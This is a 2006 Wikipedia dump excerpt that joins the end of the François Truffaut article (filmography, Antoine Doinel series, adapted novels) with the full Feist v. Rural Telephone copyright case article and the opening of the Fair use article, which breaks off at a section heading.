[[Image:400blows.jpg|thumb|250px|right|The [[François Truffaut]] film [[The 400 Blows]], with [[Jean-Pierre Léaud]] as [[Antoine Doinel]].]]
Among Truffaut's films one can discern a series featuring the character [[Antoine Doinel]], played by the actor [[Jean-Pierre Léaud]] who began his career in ''[[The 400 Blows]]'' at the age of fourteen, continuing as the favourite actor and &quot;double&quot; of Truffaut himself. The series would continue until ''[[Love on the Run]]'', while passing by ''[[Antoine and Colette]]'' (a short film in the anthology ''Love at Twenty''), ''[[Stolen Kisses]]'' and ''[[Bed &amp; Board]]''. 

In most of these movies, Léaud's partner is Truffaut's favourite actress [[Claude Jade]] as his girlfriend (and then wife), &quot;Christine Darbon&quot;. 

A keen reader, Truffaut filmed many novels:
*American detective novels 
**''[[The Bride Wore Black]]'' by [[William Irish]]
**''[[Mississippi Mermaid]]'' by William Irish
**''[[The Long Saturday Night]]'' (filmed as ''[[Confidentially Yours]]'') by [[Charles Williams (U.S. author)|Charles Williams]]
**''[[Shoot the Piano Player]]'' by [[David Goodis]] 
**''[[Such a Gorgeous Kid Like Me]]'' by [[Henry Farrell]]
*Novels by [[Henri-Pierre Roché]] 
**''[[Jules et Jim]]'' 
**''[[Two English Girls]]''
*[[Henry James]]' novel ''[[The Green Room]]'', his most serious and deepest film
*[[Ray Bradbury]]'s [[science-fiction]] novel ''[[Fahrenheit 451 (film)|Fahrenheit 451]]''

Truffaut's other films result from original scenarios, often co-written by the scenario writers [[Suzanne Schiffman]] or [[Jean Gruault]], films on very diverse subjects, the somber ''[[The Story of Adele H.]]'', inspired by the life of the daughter of [[Victor Hugo]], with [[Isabelle Adjani]], or ''[[La Nuit américaine]]'', shot at the [[Studio La Victorine]] describing the ups and downs of film-making, or ''[[The Last Metro]]'', set during the [[German occupation of France]], a film rewarded by ten [[César Award]]s.

==Filmography==
&lt;table border=1&gt;
&lt;caption align=left&gt;Legend: 
'''D''': Director, '''A''': Actor, '''P''': Producer&lt;/caption&gt;
&lt;tr&gt;
&lt;th&gt;French Title&lt;/th&gt;
&lt;th&gt;U.S. Title&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Vivement dimanche!]]''&lt;/td&gt;
&lt;td&gt;''[[Confidentially Yours]]''&lt;/td&gt;
&lt;td&gt;[[1983]]&lt;/td&gt;
&lt;td&gt;[[Fanny Ardant]], [[Jean-Louis Trintignant]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La Femme d'à côté]]''&lt;/td&gt;
&lt;td&gt;''[[The Woman Next Door]]''&lt;/td&gt;
&lt;td&gt;[[1981]]&lt;/td&gt;
&lt;td&gt;[[Fanny Ardant]], [[Gérard Depardieu]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Le Dernier métro]]''&lt;/td&gt;
&lt;td&gt;''[[The Last Metro]]''&lt;/td&gt;
&lt;td&gt;[[1980]]&lt;/td&gt;
&lt;td&gt;[[Catherine Deneuve]], [[Gérard Depardieu]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'amour en fuite]]''&lt;/td&gt;
&lt;td&gt;''[[Love on the Run]]''&lt;/td&gt;
&lt;td&gt;[[1979]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]], [[Claude Jade]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La Chambre verte]]''&lt;/td&gt;
&lt;td&gt;''[[The Green Room (film)|The Green Room]]''&lt;/td&gt;
&lt;td&gt;[[1978]]&lt;/td&gt;
&lt;td&gt;François Truffaut, [[Nathalie Baye]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'homme qui aimait les femmes]]''&lt;/td&gt;
&lt;td&gt;''[[The Man Who Loved Women]]''&lt;/td&gt;
&lt;td&gt;[[1977]]&lt;/td&gt;
&lt;td&gt;[[Charles Denner]], [[Brigitte Fossey]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Close Encounters of the Third Kind|Rencontres du troisième type]]''&lt;/td&gt;
&lt;td&gt;''[[Close Encounters of the Third Kind]]''&lt;/td&gt;
&lt;td&gt;[[1977]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'Argent de poche]]''&lt;/td&gt;
&lt;td&gt;''[[Small Change (film)|Small Change]]''&lt;/td&gt;
&lt;td&gt;[[1976]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'Histoire d'Adèle H.]]''&lt;/td&gt;
&lt;td&gt;''[[The Story of Adele H.]]''&lt;/td&gt;
&lt;td&gt;[[1975]]&lt;/td&gt;
&lt;td&gt;[[Isabelle Adjani]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La Nuit américaine]]''&lt;/td&gt;
&lt;td&gt;''[[La Nuit américaine|Day for Night]]''&lt;/td&gt;
&lt;td&gt;[[1973]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]], [[Jacqueline Bisset]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Une belle fille comme moi]]''&lt;/td&gt;
&lt;td&gt;''[[Such a Gorgeous Kid Like Me]]''&lt;/td&gt;
&lt;td&gt;[[1972]]&lt;/td&gt;
&lt;td&gt;[[Bernadette Lafont]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Les deux anglaises et le continent]]''&lt;/td&gt;
&lt;td&gt;''[[Two English Girls]]''&lt;/td&gt;
&lt;td&gt;[[1971]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Domicile conjugal]]''&lt;/td&gt;
&lt;td&gt;''[[Bed &amp; Board]]''&lt;/td&gt;
&lt;td&gt;[[1970]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]], [[Claude Jade]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'Enfant sauvage]]''&lt;/td&gt;
&lt;td&gt;''[[The Wild Child]]''&lt;/td&gt;
&lt;td&gt;[[1969]]&lt;/td&gt;
&lt;td&gt;François Truffaut &lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La Sirène du Mississippi]]''&lt;/td&gt;
&lt;td&gt;''[[Mississippi Mermaid]]''&lt;/td&gt;
&lt;td&gt;[[1969]]&lt;/td&gt;
&lt;td&gt;[[Catherine Deneuve]], [[Jean-Paul Belmondo]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Baisers volés]]''&lt;/td&gt;
&lt;td&gt;''[[Stolen Kisses]]''&lt;/td&gt;
&lt;td&gt;[[1968]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]], [[Claude Jade]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La Mariée était en noir]]''&lt;/td&gt;
&lt;td&gt;''[[The Bride Wore Black]]''&lt;/td&gt;
&lt;td&gt;[[1968]]&lt;/td&gt;
&lt;td&gt;[[Jeanne Moreau]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Fahrenheit 451 (film)|Fahrenheit 451]]''&lt;/td&gt;
&lt;td&gt;''[[Fahrenheit 451 (film)|Fahrenheit 451]]''&lt;/td&gt;
&lt;td&gt;[[1966]]&lt;/td&gt;
&lt;td&gt;[[Julie Christie]], [[Oskar Werner]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[La peau douce]]''&lt;/td&gt;
&lt;td&gt;''[[The Soft Skin]]''&lt;/td&gt;
&lt;td&gt;[[1964]]&lt;/td&gt;
&lt;td&gt;[[Françoise Dorléac]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[L'Amour à vingt ans]]'' ''([[Antoine et Colette]])'' &lt;/td&gt;
&lt;td&gt;''[[Love at Twenty]]'' ''([[Antoine and Colette]])'' &lt;/td&gt;
&lt;td&gt;[[1963]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Jules et Jim]]''&lt;/td&gt;
&lt;td&gt;''[[Jules et Jim|Jules and Jim]]''&lt;/td&gt;
&lt;td&gt;[[1961]]&lt;/td&gt;
&lt;td&gt;[[Jeanne Moreau]], [[Oskar Werner]], [[Henri Serre]], [[Marie Dubois]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Tire au flanc]]''&lt;/td&gt;
&lt;td&gt;''[[Sad Sack, The]]''&lt;/td&gt;
&lt;td&gt;[[1961]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Shoot the Piano Player|Tirez sur le pianiste]]''&lt;/td&gt;
&lt;td&gt;''[[Shoot the Piano Player]]''&lt;/td&gt;
&lt;td&gt;[[1960]]&lt;/td&gt;
&lt;td&gt;[[Charles Aznavour]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[The 400 Blows|Les quatre cents coups]]''&lt;/td&gt;
&lt;td&gt;''[[The 400 Blows]]''&lt;/td&gt;
&lt;td&gt;[[1959]]&lt;/td&gt;
&lt;td&gt;[[Jean-Pierre Léaud]]&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;P&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Les mistons]]''&lt;/td&gt;
&lt;td&gt;''[[The Mischief Makers]]''&lt;/td&gt;
&lt;td&gt;[[1957]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''[[Une visite]]''&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;[[1955]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==Quotes==
&quot;The film of tomorrow appears to me as even more personal than an individual and autobiographical novel, like a confession, or a diary. The young filmmakers will express themselves in the first person and will relate what has happened to them. It may be the story of their first love or their most recent; of their political awakening; the story of a trip, a sickness, their military service, their marriage, their last vacation...and it will be enjoyable because it will be true, and new...The film of tomorrow will not be directed by civil servants of the camera, but by artists for whom shooting a film constitutes a wonderful and thrilling adventure. The film of tomorrow will resemble the person who made it, and the number of spectators will be proportional to the number of friends the director has. The film of tomorrow will be an act of love.&quot;
&amp;mdash; François Truffaut, published in Arts magazine, May 1957
Source: [http://www.miaminewtimes.com/issues/1999-05-20/film/film3.html Miami New Times]

==See also==
* [[List of notable brain tumor patients]]

==References==
*Eric Pace.  &quot;Francois Truffaut, New Wave Director, Dies.&quot; ''[[The New York Times]].''  [[October 22]], [[1984]].  A1.

==External links==
* {{imdb name|id=0000076|name=François Truffaut}}

[[Category:1932 births|Truffaut, Francois]]
[[Category:1984 deaths|Truffaut, Francois]]
[[Category:Film theory|Truffaut, Francois]]
[[Category:French actors|Truffaut, François]]
[[Category:French film directors|Truffaut, François]]
[[Category:Parisians|Truffaut, Francois]]
[[Category:Roman Catholics|Truffaut, Francois]]
&lt;!-- corrupt link --&gt;

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[[et:François Truffaut]]
[[el:Φρανσουά Τριφό]]
[[es:François Truffaut]]
[[eo:François TRUFFAUT]]
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[[ko:프랑수아 트뤼포]]
[[hr:François Truffaut]]
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[[tr:François Truffaut]]
[[zh:杜魯福]]</text>
    </revision>
  </page>
  <page>
    <title>Feist Publications v. Rural Telephone Service</title>
    <id>10771</id>
    <revision>
      <id>39455721</id>
      <timestamp>2006-02-13T06:07:04Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; border=&quot;1&quot; align=&quot;right&quot; style=&quot;margin-left: 0.5em&quot; width=300px
! bgcolor=&quot;6699FF&quot; | '''''Feist Publications, Inc.v. Rural Telephone Service Co.'''''
|- 
| align=&quot;center&quot; | [[Image:Seal of the United States Supreme Court.png|100px]]&lt;br /&gt;
'''Supreme Court of the United States'''
|- 
! bgcolor=&quot;6699FF&quot; | Argued January 9, 1991&lt;br /&gt;
Decided March 27, 1991
|- 
|
{| align=&quot;center&quot;
|- 
| valign=&quot;top&quot;| &lt;small&gt;Full case name: 
| valign=&quot;top&quot;|&lt;small&gt;''Feist Publications, Inc. v. Rural Telephone Service Co., Inc.''
|- 
| valign=&quot;top&quot;| &lt;small&gt;Citations:
| valign=&quot;top&quot;|&lt;small&gt;499 U.S. 340; 111 S. Ct. 1282; 113 L. Ed. 2d 358; 1991 U.S. LEXIS 1856; 59 U.S.L.W. 4251; 18 U.S.P.Q.2D (BNA) 1275; Copy. L. Rep. (CCH) P26,702; 68 Rad. Reg. 2d (P &amp; F) 1513; 18 Media L. Rep. 1889; 121 P.U.R.4th 1; 91 Cal. Daily Op. Service 2217; 91 Daily Journal DAR 3580
|- 
| valign=&quot;top&quot;| &lt;small&gt;Prior history:
| valign=&quot;top&quot;|&lt;small&gt;Summary judgment for plaintiff, 663 F. Supp. 214 (D. Kan. 1987); affirmed, reported at 916 F.2d 718 (10th Cir. 1990); affirmed, full opinion at 1990 U.S. App. LEXIS 25881 (10th Cir. 1990); cert. granted, 498 U.S. 808 (1990)
|-
| valign=&quot;top&quot;| &lt;small&gt;Subsequent history:
| valign=&quot;top&quot;|&lt;small&gt;
|}
|- 
! bgcolor=&quot;6699FF&quot; | '''Holding'''
|-
| A telephone book did not satisfy the minimum originality required by the Constitution to be eligible for copyright protection, and effort and expenditure of resources are not protected by copyright.  Tenth Circuit Court of Appeals reversed.
|- 
! bgcolor=&quot;6699FF&quot; | '''Court membership'''
|- 
|
{| align=&quot;center&quot;
|- 
| '''Chief Justice''' [[William H. Rehnquist]]
|- 
| '''Associate Justices''' [[Byron White]], [[Thurgood Marshall]], [[Harry Blackmun]], [[John Paul Stevens]], [[Sandra Day O'Connor]], [[Antonin Scalia]], [[Anthony Kennedy]], [[David Souter]]
|}
|-
! bgcolor=&quot;6699FF&quot; | '''Case opinions'''
|- 
|
{| align=&quot;center&quot;
|- 
| '''Majority by:''' O'Connor
|-
| Joined by: Rehnquist, White, Marshall, Stevens, Scalia, Kennedy, Souter
|-
| '''Concurrence by:''' Blackmun
|}
|-
! bgcolor=&quot;6699FF&quot; | '''Laws applied'''
|-
| U.S. Const. Art. I
|}
'''''Feist Publications, Inc., v. Rural Telephone Service Co.''''', [[Case citation|499 U.S. 340]] ([[1991]]){{ref|citation}}, commonly called just '''''Feist v. Rural''''', was a [[Supreme Court of the United States|United States Supreme Court]] case in which Feist copied information from Rural's [[telephone]] listings to include in its own, after Rural refused to license the information.  Rural sued for [[copyright infringement]].  The Court ruled that information contained in Rural's phone directory was not copyrightable, and that therefore no infringement existed.

==Background==
Rural Telephone Service Company, Inc. was a telephone provider for areas in north-west Kansas. The company was under a statutory obligation to compile a phone directory of all their customers free of charge as condition to their monopoly franchise. 

Feist Publications, Inc. specialized in compiling telephone directories from larger geographic areas than Rural. They had licenced the directory of 11 other local directories with Rural being the only hold-out in the region. Feist went ahead and copied some 4000 entries from Rural's directory. Rural, however, had placed a small number of phony entries to detect copying and caught Feist.

Prior to this case, the subsistence of copyright in United States law followed the [[sweat of the brow]] doctrine that gave copyright to anyone who invested significant amount of time and energy into their work. At trial and appeal level the courts followed this doctrine siding for Rural.

==Ruling of the Court==
The unanimous ruling of the Court was given by [[Sandra Day O'Connor|Justice O'Connor]]. In this she examines the purpose of copyright and proposes a new standard for subsistance of copyright based on originality.

It is a long-standing principle of United States copyright law that &quot;information&quot; is not copyrightable, O'Connor notes, but &quot;collections&quot; of information can be. Rural claimed a collection copyright in its directory. The court clarified that the intent of copyright law was not, as claimed by Rural and some lower courts, to reward the efforts of persons collecting information, but rather &quot;to promote the Progress of Science and useful Arts&quot; (U.S. Const. 1.8.8), that is, to encourage creative expression. 

Since facts are purely copied from the world around us, O'Connor concludes, &quot;the [[sine qua non]] of copyright is originality&quot;. However, the standard for creativity is extremely low. It need not be novel, rather it only needs to possess a &quot;spark&quot; or &quot;minimal degree&quot; of creativity to be protected by copyright. 

In regard to collections of facts, O'Connor states that copyright can only apply to the creative aspects of collection: the creative choice of what data to include or exclude, the order and style in which the information is presented, etc., but not on the information itself. If Feist were to take the directory and rearrange them it would destroy the copyright owned in the data.

The court ruled that Rural's directory was nothing more than an alphabetic list of all subscribers to its service, which it was required to compile under law, and that no creative expression was involved. The fact that Rural spent considerable time and money collecting the data was irrelevant to copyright law, and Rural's copyright claim was dismissed.

==Implications==
The ruling has major implications for any project that serves as a collection of knowledge.  Information (that is [[fact]]s, discoveries, etc.), from any source, is fair game, but cannot contain any of the &quot;expressive&quot; content added by the source [[author]].  That includes not only the author's own comments, but also his choice of which facts to cover, his choice of which [[link]]s to make among the bits of information, his order of presentation (unless it is something obvious like an alphabetical list), any evaluations he may have made about the quality of various pieces of information, or anything else that might be considered &quot;original creative work&quot; of the author rather than mere facts.  

For example, a [[recipe]] is a process, and not copyrightable, but the words used to describe it are.  Therefore, you can rewrite a recipe in your own words and publish it without infringing copyrights. But if you rewrote every recipe from a particular [[cookbook]], you might still be found to have infringed the author's copyright in the choice of recipes and their &quot;coordination&quot; and &quot;presentation&quot;, even if you used different words, though the West decisions below suggest that this is unlikely unless there is some significant creativity in the presentation.

The text of US Laws is in the [[public domain]], but [[West Publishing Corporation]] claims a copyright on the page numbers in its printed edition of those laws. By this reasoning, you could refer to a law or even include large excerpts with impunity, but if you reproduce it in such a way as to deliberately preserve West's page numbers, you might be in trouble.  This [[copyright]] claim has been defeated in two court cases [http://www.tx-laws.com/ignoranceisnoexcuse.htm]. ''West v. Mead'' (No. 85-5399 7[[Case citation|99 F.2d 1219]])(1986) and ''Matthew Bender &amp; Company, Inc., &amp; Hyperlaw, Inc., vs. West Publishing Co'' (No. 97-7430).

The West claim of originality in the way it presented its reports of decisions has also been found to be uncreative and therefore not copyrightable, in ''[[Matthew Bender v. West Publishing Co.]]'' ([[Case citation|158 F.3d 674]]) [http://www.hyperlaw.com/appeal1.htm] (may be known as ''Hyperlaw, Inc. v. West Publishing Company'', [[Case citation|94 Civ. 589]] (SDNY 1997)).

Another case covering this area is [[Assessment Technologies v. Wiredata|Assessment Technologies v. WIREdata]] [http://www.ca7.uscourts.gov/op3.fwx?submit1=showop&amp;caseno=03-2061.PDF], which ruled that a copyright holder in a compilation of public domain data cannot use that copyright to prevent others from using the underlying public domain data, but may only restrict the specific format of the compilation, if that format is itself sufficiently creative.

In the late 1990s, Congress attempted to pass laws which would protect collections of [[data]], but these measures failed.  By contrast, the [[European Union]] has a [[sui generis]] (specific to that type of work) intellectual property protection for collections of data.

=== Other countries ===
The subsistance of copyright in phone directories have come up in several other countries. 

In Canada, the appeal-level case of ''[[Tele-Direct (Publications) Inc. v. American Business Informations Inc.]]'' (1997) 76 C.P.R. (3d) 296 (F.C.A.) reached a similar result to that of Feist. However, the Supreme Court backed away from the originality doctrine in ''[[CCH Canadian Ltd. v. Law Society of Upper Canada]]''.

In Australia, the Federal Court decision of ''[[Desktop Marketing Systems Pty Ltd v Telstra]]'' [2002] FCAFC 112 followed the UK approach in [[Walter v. Lane]] and ruled that subsistance in copyright did in-fact follow the &quot;sweat of the brow&quot; doctrine.

==Relation with treaties==
Congress has been considering whether to implement a [[treaty]] negotiated at the [[World Trade Organization]].  Part of the [[Uruguay Round|Uruguay Round Agreement]] resulted in text which states, in Part II, Section 1, Article 10:

:Compilations of data or other material, whether in machine readable or other form, which by reason of the selection or arrangement of their contents constitute intellectual creations shall be protected as such. Such protection, which shall not extend to the data or material itself, shall be without prejudice to any copyright subsisting in the data or material itself.

The text mirrors that of Article 2(5) of the [[Berne Convention]], which applies to &quot;collections of literary or artistic works&quot;.

This treaty provision is broadly in line with the [[United States Copyright Act]] and the Act's [[case law]], which protects compilations of data whose &quot;selection and arrangement&quot; is sufficiently original. ''See'' 17 U.S.C. § 101 (&quot;compilation&quot; as defined by the [[United States Copyright Act]] includes compilations of data). The standard for such originality is fairly low; for example, business listings have been found to meet this standard when deciding which companies should be listed and categorizing those companies required some kind of expert judgement. ''See Key Publ'ns, Inc. v. Chinatown Today Pub. Enters.'', 945 F.2d 509 (2d Cir. 1991) (applying ''Feist''). As such, implementation of this treaty would not overrule ''Feist''.

==References==
#{{note|citation}}[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=US&amp;vol=499&amp;invol=340 The Feist v. Rural Decision]

[[Category:United States Supreme Court cases]]
[[Category:United States copyright case law]]
[[Category:1991 in law]]</text>
    </revision>
  </page>
  <page>
    <title>Fair use</title>
    <id>10772</id>
    <revision>
      <id>41152789</id>
      <timestamp>2006-02-25T10:55:17Z</timestamp>
      <contributor>
        <username>Ta bu shi da yu</username>
        <id>75749</id>
      </contributor>
      <comment>/* External links and sources */</comment>
      <text xml:space="preserve">{{intellectual property}}
The '''fair use''' doctrine is an aspect of [[United States copyright law]] that provides for the legal, non-licensed citation or incorporation of copyrighted material in another author's work under a four-factor balancing test.  The term &quot;fair use&quot; is unique to the United States; a similar principle, [[fair dealing]], exists in some other [[common law]] jurisdictions.  U.S. [[trademark]] law also incorporates a &quot;fair use&quot; defense. While the names are the same, the doctrines are quite different.

[[Philippines|Philippine]] [[Philippine copyright law|copyright law]] has a fair use doctrine based largely, or even exactly, on the doctrine adopted in the United States.

==Fair use under United States law==

The legal concept of &quot;copyright&quot; was first ratified by the [[Kingdom of Great Britain|United Kingdom]]'s [[Statute of Anne]] of [[1709]].  As room was not made for the unauthorized reproduction of copyrighted content within this newly formulated statutory right, the courts gradually created a doctrine of &quot;fair abridgement&quot;, which later became &quot;fair use&quot;, that recognized the utility of such actions.  The doctrine only existed in the U.S. as [[Common law|common law]] until it was incorporated into the [[United States Copyright Act of 1976|Copyright Act of 1976]], {{UnitedStatesCode|17|107}}, excerpted here:

&lt;blockquote&gt;
Notwithstanding the provisions of sections 106 and 106A, the fair use of a copyrighted work, including such use by reproduction in copies or phonorecords or by any other means specified by that section, for purposes such as criticism, comment, news reporting, teaching (including multiple copies for classroom use), scholarship, or research, is not an infringement of copyright.  In determining whether the use made of a work in any particular case is a fair use the factors to be considered shall include&amp;mdash;

:# the purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;
:# the nature of the copyrighted work;
:# the amount and substantiality of the portion used in relation to the copyrighted work as a whole; and
:# the effect of the use upon the potential market for or value of the copyrighted work.

The fact that a work is unpublished shall not itself bar a finding of fair use if such finding is made upon consideration of all the above factors.[http://www4.law.cornell.edu/uscode/17/107.html]
&lt;/blockquote&gt;

The four factors of analysis for fair use set forth above derive from the classic opinion of Justice Story in ''Folsom v. Marsh'', [[Case citation|9 F.Cas. 342]] ([[1841]]), in which the defendant had copied 353 pages from the plaintiff's 12-volume biography of [[George Washington]] in order to produce a separate two-volume work of his own.  The court rejected the defendant's fair use defense with the following explanation:

&lt;blockquote&gt;
[A] reviewer may fairly cite largely from the original work, if his design be really and truly to use the passages for the purposes of fair and reasonable criticism.  On the other hand, it is as clear, that if he thus cites the most important parts of the work, with a view, not to criticise, but to supersede the use of the original work, and substitute the review for it, such a use will be deemed in law a piracy...

In short, we must often... look to the nature and objects of the selections made, the quantity and value of the materials used, and the degree in which the use may prejudice the sale, or diminish the profits, or supersede the objects, of the original work.
&lt;/blockquote&gt;

It is important to note that once these factors were codified as guidelines in USC § 107, they were not rendered exclusive. The section was intended by Congress to restate, but not replace, the prior judge-made law.  Courts are still entitled to consider other factors as well.  

Fair use tempers copyright's exclusive rights to serve the purpose of copyright law, which the [[United States Constitution|U.S. Constitution]] defines as the promotion of &quot;the Progress of Science and useful Arts&quot; (I.1.8).  
Some commentators have also suggested that some form of fair use defense is required by the [[First Amendment to the United States Constitution|First Amendment]]'s protection of [[free speech]], because without some amount of copying, some things simply cannot be said. This analysis applies particularly well in the case of criticism.  It also reads on various other limitations on copyright's exclusive rights, particularly the ''[[scenes a faire]]'' doctrine.

=== Purpose and character ===

The first factor questions whether the use under consideration helps fulfill the intention of copyright law to stimulate creativity for the enrichment of the general public, or whether it aims to only &quot;supersede the objects&quot; of the original for reasons of, say, personal profit.  In order to justify the use as fair, one must demonstrate how it either advances knowledge or the progress of the arts through the addition of something new.  A key consideration is the extent to which the use is interpreted as ''transformative'', opposed to as merely ''derivative''.  When [[Tom Forsythe]] appropriated [[Barbie]] dolls for his photography project &quot;Food Chain Barbie&quot;, [[Mattel]] lost its claims of copyright and trademark infringement against him because his work effectively parodies Barbie and the values she represents (cf. the 2003 9th Circuit case ''Mattel Inc. v. Walking Mountain Productions'').  However, when [[Jeff Koons]] tried to justify his appropriation of Art Rogers' photograph &quot;Puppies&quot; in his sculpture &quot;String of Puppies&quot; with the same 'parody' defense, he lost because his work was not presented as a parody of Rogers' photograph in particular, but of society at large, which was deemed insufficiently justificatory (see ''[[Rogers v. Koons|Art Rogers v. Jeff Koons]]'', 960 F.2d 301).  Thus, even if a secondary work proves transformative, it must be appropriately so.

The subfactor mentioned in the legislation above, &quot;whether such use is of a commercial nature or is for nonprofit educational purposes,&quot; has recently been deemphasized in some Circuits &quot;since many, if not most, secondary uses seek at least some measure of commercial gain from their use&quot; (''American Geophysical Union'', [[Case citation|60 F.3d at 921]]).  More important is whether the use fulfills any of the &quot;preamble purposes&quot; also mentioned in the legislation above, as these have been interpreted as paradigmatically &quot;transformative&quot;.  Although Judge Pierre Leval has distinguished the first factor as &quot;the soul of fair use,&quot; it alone is not determinative.  For example, not every educational usage is fair (see the 1914 case, ''[[Macmillan Co. v. King]]'', although this case has only limited application since it was decided many years before the modern fair use provision became a part of the legislation).

=== Nature of the copied work ===

